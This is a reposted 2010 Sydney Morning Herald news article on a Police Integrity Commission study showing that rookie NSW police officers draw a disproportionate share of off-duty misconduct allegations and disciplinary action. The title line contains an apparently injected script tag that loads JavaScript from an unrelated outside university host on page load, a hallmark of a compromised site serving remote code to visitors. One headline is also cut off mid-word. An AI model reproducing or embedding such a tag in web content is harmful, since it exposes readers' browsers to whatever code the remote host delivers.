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NEWS > 14 March 2010

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Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Sydney Morning Herald
14 March 2010
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Ethics in Policing

Bad boys: why rookie police ar

ROOKIE police officers in NSW are doing more than their fair share when it comes to misbehaving, a study has found.

Probationary constables - those in their first year - make up 7 per cent of the force but are responsible for almost 12 per cent of allegations of off-duty misconduct.

The research paper, released by the Police Integrity Commission, found that rookies were also the most likely to have a complaint against them substantiated and to face disciplinary action such as counselling, a reduction in rank or even the sack.

It also found that the most common allegations, more than 40 per cent, involved drunken or inappropriate behaviour, unprofessional conduct, unauthorised secondary employment or loss or damage of NSW Police property.

The second most common complaints, almost 30 per cent, related to serious crimes such as fraud, assault, sexual assault, bribery, improper associations, ''protection of persons involved in drugs'' and helping people suspected to be involved in crime.

More than 80 per cent of probationary constables who faced complaints were disciplined, the report found. That is compared with 50 per cent for constables and senior constables and 30 per cent for sergeants.

''The results suggest that awareness and training programs should be targeted to young officers and probationary constables who may be at a higher risk of engaging in off-duty misconduct than other officers,'' the report said.

The report found that continuing misbehaving by probationary constables tarnished the name of the police as a whole.

''Inappropriate or unlawful behaviour of police officers can also bring the police force into disrepute and adversely affect the public's attitudes towards the police,'' the report cautions.

A spokesman for Commissioner Andrew Scipione said the force had grown by 8 per cent since 2005, but complaints against officers on and off duty had dropped by 12 per cent in the same period.
 

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